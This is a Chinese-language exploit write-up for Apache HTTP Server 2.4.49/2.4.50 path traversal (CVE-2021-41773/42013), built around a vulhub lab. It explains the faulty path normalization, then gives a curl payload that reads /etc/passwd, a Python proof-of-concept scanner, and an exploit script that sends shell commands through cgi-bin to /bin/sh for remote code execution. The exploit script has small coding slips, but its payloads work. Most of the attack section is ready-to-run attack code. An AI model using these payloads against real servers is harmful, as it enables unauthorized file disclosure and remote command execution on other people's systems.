Apache HTTP Server 2.4.50 路径穿越漏洞

漏洞描述

2021年10月5日,Apache发布更新公告,修复了Apache HTTP Server 2.4.49中的一个路径遍历和文件泄露漏洞(CVE-2021-41773)。
攻击者可以通过路径遍历攻击将 URL 映射到预期文档根目录之外的文件,如果文档根目录之外的文件不受“require all denied” 访问控制参数的保护,则这些恶意请求就会成功。除此之外,该漏洞还可能会导致泄漏 CGI 脚本等解释文件的来源。
由于对CVE-2021-41773的修复不充分,攻击者可以使用路径遍历攻击,将URL映射到由类似别名的指令配置的目录之外的文件,如果这些目录外的文件没有受到默认配置"require all denied "的保护,则这些恶意请求就会成功。如果还为这些别名路径启用了 CGI 脚本,则能够导致远程代码执行。

影响范围

Apache HTTP Server 2.4.49
Apache HTTP Server 2.4.50

漏洞复现

漏洞原理

/* This is the master logic for processing requests.  Do NOT duplicate
 * this logic elsewhere, or the security model will be broken by future
 * API changes.  Each phase must be individually optimized to pick up
 * redundant/duplicate calls by subrequests, and redirects.
 */
AP_DECLARE(int) ap_process_request_internal(request_rec *r)
{
    ......

    if (r->parsed_uri.path) {
        /* Normalize: remove /./ and shrink /../ segments, plus
         * decode unreserved chars (first time only to avoid
         * double decoding after ap_unescape_url() below).
         */
        if (!ap_normalize_path(r->parsed_uri.path,
                               normalize_flags |
                               AP_NORMALIZE_DECODE_UNRESERVED)) {
            ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10244)
                          "invalid URI path (%s)", r->unparsed_uri);
            return HTTP_BAD_REQUEST;
        }
    }

    ......

    /* Ignore URL unescaping for translated URIs already */
    if (access_status != DONE && r->parsed_uri.path) {
        core_dir_config *d = ap_get_core_module_config(r->per_dir_config);

        if (d->allow_encoded_slashes) {
            access_status = ap_unescape_url_keep2f(r->parsed_uri.path,
                                                   d->decode_encoded_slashes);
        }
        else {
            access_status = ap_unescape_url(r->parsed_uri.path);
        }
        if (access_status) {
            if (access_status == HTTP_NOT_FOUND) {
                if (! d->allow_encoded_slashes) {
                    ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00026)
                                  "found %%2f (encoded '/') in URI path (%s), "
                                  "returning 404", r->unparsed_uri);
                }
            }
            return access_status;
        }

ap_normalize_path函数调用栈如下,在处理前path参数为/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd:

#0  ap_normalize_path (path=0x7f32740916a0 "/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd", flags=flags@entry=14) at util.c:508
#1  0x000055b354ea81c5 in ap_process_request_internal (r=0x7f32740900a0) at request.c:209
#2  0x000055b354ec7980 in ap_process_async_request (r=0x7f32740900a0) at http_request.c:450
#3  0x000055b354ec3db3 in ap_process_http_async_connection (c=0x7f32740af360) at http_core.c:155
#4  ap_process_http_connection (c=0x7f32740af360) at http_core.c:246
#5  0x000055b354eba770 in ap_run_process_connection (c=c@entry=0x7f32740af360) at connection.c:42
#6  0x00007f3276a21a45 in process_socket (thd=<optimized out>, p=<optimized out>, sock=<optimized out>, cs=<optimized out>, my_child_num=<optimized out>, my_thread_num=<optimized out>)
    at event.c:1052
#7  0x00007f3276a22322 in worker_thread (thd=0x7f3276a31128, dummy=<optimized out>) at event.c:2141
#8  0x00007f3276cbffa3 in start_thread (arg=<optimized out>) at pthread_create.c:486
#9  0x00007f3276bf04cf in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95

经过ap_normalize_path函数处理后path参数变成/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd。

环境搭建

1.拉取vulhub

git clone https://github.com/vulhub/vulhub

2.进入CVE-2021-41773

`cd ~/vulhub/httpd/CVE-2021-42013

3.启动容器

docker-compose up -d

测试验证

payload如下:

curl -v --path-as-is http://your-ip:8080/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd

POC

import subprocess
import re

import sys

_name=sys.builtin_module_names

def check(url, proxies):
    if proxies:
        proxies = {proxies['protocol']: proxies['protocol'] + '://' + proxies['ip'] + ':' + str(proxies['port'])}
    try:
        ret = {'success': False, 'response': [], 'requests': [], 'error': [], 'info': []}
        payload1 = 'icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd'
        payload2 = 'icons/.%%32e/.%%32e/.%%32e/.%%32e/C:/Windows/win.ini'
        popen = subprocess.Popen(['curl', '-v', '--path-as-is', f'{url}{payload1}'],
                                 stdout=subprocess.PIPE)
        popen2 = subprocess.Popen(['curl', '-v', '--path-as-is', f'{url}{payload2}'],
                                  stdout=subprocess.PIPE)
        data = popen.stdout.read().decode("UTF-8")
        data2=popen2.stdout.read().decode("UTF-8")
        res = re.findall('(.*?:\w+:\d+:\d+:.*?:[\/\w+]*:[\/\w+]*|\[fonts\])', data, re.DOTALL)
        res1 = re.findall('(.*?:\w+:\d+:\d+:.*?:[\/\w+]*:[\/\w+]*|(\[fonts\]))', data2, re.DOTALL)
        if res or res1:
            ret['success'] = True
            ret['info'] = res
    except Exception as e:
        print(e)
    return ret

def main(params):
    result = params.get('result', {})
    url = params.get('url', '')
    headers = params.get('headers', {})
    proxies = params.get('proxies', None)  # 代理
    timeout = params.get('timeout', 5)  # 超时时间
    result = check(url, proxies)
    return result

if __name__ == '__main__':
    params = {
        'result': {'success': False, 'response': [], 'requests': [], 'error': []},
        # headers:传入的header参数
        'headers': {},
        # proxy:传入的代理服务器参数
        'proxies': {'protocol': 'http', 'ip': '127.0.0.1', 'port': 8080},
        'timeout': 30,
        ###可选参数###
        'url': "http://your-ip:8080/",
    }
    print(main(params))

EXP

import subprocess
import re

def check(url, proxies,command):
    if proxies:
        proxies = {proxies['protocol']: proxies['protocol'] + '://' + proxies['ip'] + ':' + str(proxies['port'])}
    try:
        ret = {'success': False, 'response': [], 'requests': [], 'error': [], 'info': []}
        popen3 = subprocess.Popen([
            'curl', '--data','echo;{command}', f'{url}cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'],stdout=subprocess.PIPE)
        data=popen3.stdout.read()
        print(data)
    except Exception as e:
        print(e)
    return ret

def main(params):
    result = params.get('result', {})
    url = params.get('url', '')
    headers = params.get('headers', {})
    proxies = params.get('proxies', None)  # 代理
    timeout = params.get('timeout', 5)  # 超时时间
    command = params.get('command','')
    result = exp(url, proxies,command)
    return result

if __name__ == '__main__':
    params = {
        'result': {'success': False, 'response': [], 'requests': [], 'error': []},
        # headers:传入的header参数
        'headers': {},
        # proxy:传入的代理服务器参数
        'proxies': {'protocol': 'http', 'ip': '127.0.0.1', 'port': 8080},
        'timeout': 30,
        ###可选参数###
        'url': "http://172.20.20.138/",
        'command':'whoami'
    }
    print(main(params))